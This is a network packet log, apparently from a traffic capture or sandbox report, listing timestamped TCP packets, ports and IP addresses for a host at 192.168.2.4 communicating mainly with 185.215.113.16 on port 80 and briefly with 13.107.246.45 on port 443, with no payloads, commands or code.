Nov 21, 2024 07:10:21.447818995 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.447885036 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.447937965 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.448659897 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.448710918 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.448750019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.448797941 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.449543953 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.449604034 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.449661016 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.449707985 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.450404882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.450516939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.450546026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.450572968 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.451356888 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.451477051 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.451554060 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.452169895 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.452222109 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.452289104 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.452337980 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.453087091 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.453181982 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.453263998 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.453322887 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.453897953 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.454046965 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.454096079 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.454785109 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.454832077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.454910994 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.454956055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.455646992 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.455696106 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.611136913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.611181974 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.611252069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.611514091 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.611576080 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.611645937 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.611707926 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.612359047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.612409115 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.612467051 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.612507105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.613255978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.613460064 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.613507986 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.614124060 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.614178896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.614244938 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.614289999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.615010977 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.615063906 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.615144968 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.615192890 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.615863085 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.615906954 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.615916014 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.615957022 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.616765022 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.616801977 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.616869926 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.616925955 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.617697954 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.617799997 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.617844105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.618571043 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.618618011 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.618658066 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.618704081 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.619405031 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.619452000 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.619574070 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.619618893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.620264053 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.620313883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.620392084 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.620440006 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.621141911 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.621279955 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.621325016 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.622016907 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.622076035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.622133017 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.622174978 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.622940063 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.622997046 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.623101950 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.623148918 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.624202967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.624245882 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.624253988 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.624298096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.624630928 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.624725103 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.624788046 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.624840021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.625540972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.625585079 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.625629902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.625731945 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.626414061 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.626456976 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.626496077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.626599073 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.627279997 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.627324104 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.627396107 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.627477884 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.628185987 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.628237009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.628318071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.628361940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.629101038 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.629144907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.629178047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.629220009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.629934072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.630083084 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.630137920 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.630961895 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.631011009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.631182909 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.631242990 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.631695986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.631747007 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.631810904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.631853104 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.632675886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.632731915 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.632797003 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.632842064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.633661032 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.633696079 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.633742094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.634327888 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.634387016 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.634502888 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.634556055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.635191917 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.635335922 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.635385036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.636080027 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.636096001 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.636131048 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.636143923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.636336088 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.636382103 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.636442900 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.636806965 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.636806965 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.636852980 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.636882067 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.636939049 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.636991978 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.637069941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.637294054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.637840986 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.637888908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.637890100 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.637989044 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.638675928 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.638740063 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.638813972 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.639570951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.639635086 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.639691114 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.639738083 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.640458107 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.640525103 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.640590906 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.640696049 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.641344070 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.641402006 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.641455889 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.641571999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.642198086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.642285109 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.642326117 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.642379045 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.642462969 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.642530918 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.642659903 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.643085957 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.643219948 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.643256903 CET	49797	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.643273115 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.643285036 CET	443	49797	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.643306971 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.644009113 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.644090891 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.644248962 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.644320011 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.644865036 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.644910097 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.645010948 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.645116091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.645737886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.645823002 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.645906925 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.645945072 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.646605015 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.646712065 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.646713972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.646801949 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.647476912 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.647540092 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.647675037 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.647746086 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.648396015 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.648439884 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.648519993 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.648575068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.649225950 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.649301052 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.649348021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.650154114 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.650201082 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.650280952 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.650362015 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.651011944 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.651098013 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.651118040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.651190996 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.651864052 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.651905060 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.651973963 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.652017117 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.652743101 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.652863026 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.652914047 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.653671026 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.653713942 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.653795004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.653841972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.654861927 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.654931068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.654994965 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.655039072 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.655363083 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.655406952 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.655486107 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.655529976 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.656279087 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.656397104 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.656419039 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.656465054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.657123089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.657174110 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.812685966 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.812741995 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.812819958 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.812895060 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.812895060 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.813036919 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.813070059 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.813086033 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.813733101 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.813779116 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.813786983 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.813831091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.814747095 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.814790010 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.814857006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.814903021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.815464973 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.815514088 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.815582991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.815630913 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.816334009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.816380978 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.816399097 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.816442966 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.817198038 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.817348957 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.817398071 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.818067074 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.818111897 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.818178892 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.818224907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.818933964 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.818984032 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.819048882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.819096088 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.819875956 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.819926023 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.820060015 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.820138931 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.820729971 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.820813894 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.820843935 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.820889950 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.821604967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.821643114 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.821657896 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.821706057 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.822463036 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.822582006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.822630882 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.823390007 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.823441029 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.823455095 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.823595047 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.824232101 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.824280024 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.824286938 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.824331999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.825094938 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.825226068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.825275898 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.825968981 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.826031923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.826092005 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.826141119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.826828957 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.826884031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.826947927 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.826992989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.827739000 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.827781916 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.827845097 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.827891111 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.828615904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.828663111 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.828692913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.828738928 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.829492092 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.829592943 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.829641104 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.830416918 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.830467939 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.830533981 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.830581903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.831290007 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.831331968 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.831362009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.831407070 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.832144976 CET	80	49787	185.215.113.16	192.168.2.4
